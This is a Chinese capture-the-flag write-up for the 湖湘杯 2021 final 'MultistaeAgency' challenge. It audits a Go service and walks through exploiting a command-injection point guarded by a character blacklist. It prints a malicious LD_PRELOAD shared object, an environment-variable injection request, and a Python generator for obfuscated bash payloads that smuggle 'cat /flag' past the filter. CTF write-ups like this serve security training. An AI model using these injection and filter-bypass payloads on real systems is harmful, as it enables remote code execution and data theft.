湖湘杯 2021 final MultistaeAgency
2022-09-21 23:51:08
# 代码审计
# Go
附件
web下的main.go 存在三个路径 list展示上传到token下的文件
upload上传文件并请求内网9091的manage接口
token:获取token并添加环境变量 manage接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 func manage (w http.ResponseWriter, r *http.Request) { values := r.URL.Query() m := values.Get("m" ) if !waf(m) { fmt.Fprintf(w, "waf!" ) return } cmd := fmt.Sprintf("rm -rf uploads/%s" , m) fmt.Println(cmd) command := exec.Command("bash" , "-c" , cmd) outinfo := bytes.Buffer{} outerr := bytes.Buffer{} command.Stdout = &outinfo command.Stderr = &outerr err := command.Start() res := "ERROR" if err != nil { fmt.Println(err.Error()) } if err = command.Wait(); err != nil { res = outerr.String() } else { res = outinfo.String() } fmt.Fprintf(w, res) }
在这里存在rce的点
其中有一个waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 func waf (c string ) bool { var t int32 t = 0 blacklist := []string {"." , "*" , "?" } for _, s := range c { for _, b := range blacklist { if b == string (s) { return false } } if unicode.IsLetter(s) { if t == s { continue } if t == 0 { t = s } else { return false } } } return true }
既然会加载环境变量,可以让其加载恶意的so文件来rce
1 2 3 4 5 6 7 # include<stdlib.h> __attribute__((constructor)) void l3yx(){ unsetenv("LD_PRELOAD"); system(getenv("_evilcmd")); } gcc -shared -fPIC -o evil.so evil.c
大致思路: 通过上传恶意的so文件来rce,先访问/token获取到token的值,因为后面会有检验,upload会将其移动到token目录下,上传会发现其请求/token?http_proxy=127.0.0.1:8080
获取到token,也就是proxy代理实现。再去curl内网的9091manage接口,将m参数传入即可得到flag,当然还要先绕过waf
1 2 /token?http_proxy=127.0 .0 .1 :8080 &LD_PRELOAD=/code/uploads/2 ea6a3a71d0b2db658544f67f1468897/XVlBz&_evilcmd=ls /
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from urllib.parse import quoten = dict () n[0 ] = '0' n[1 ] = '${##}' n[2 ] = '$((${##}<<${##}))' n[3 ] = '$(($((${##}<<${##}))#${##}${##}))' n[4 ] = '$((${##}<<$((${##}<<${##}))))' n[5 ] = '$(($((${##}<<${##}))#${##}0${##}))' n[6 ] = '$(($((${##}<<${##}))#${##}${##}0))' n[7 ] = '$(($((${##}<<${##}))#${##}${##}${##}))' f='' def str_to_oct (cmd ): s = "" for t in cmd: o = ('%s' % (oct (ord (t))))[2 :] s+='\\' +o return s def build (cmd ): payload = "$0<<<$0\<\<\<\$\\\'" s = str_to_oct(cmd).split('\\' ) for _ in s[1 :]: payload+="\\\\" for i in _: payload+=n[int (i)] return payload+'\\\'' print (quote(quote("123;" +build("cat /flag" ))))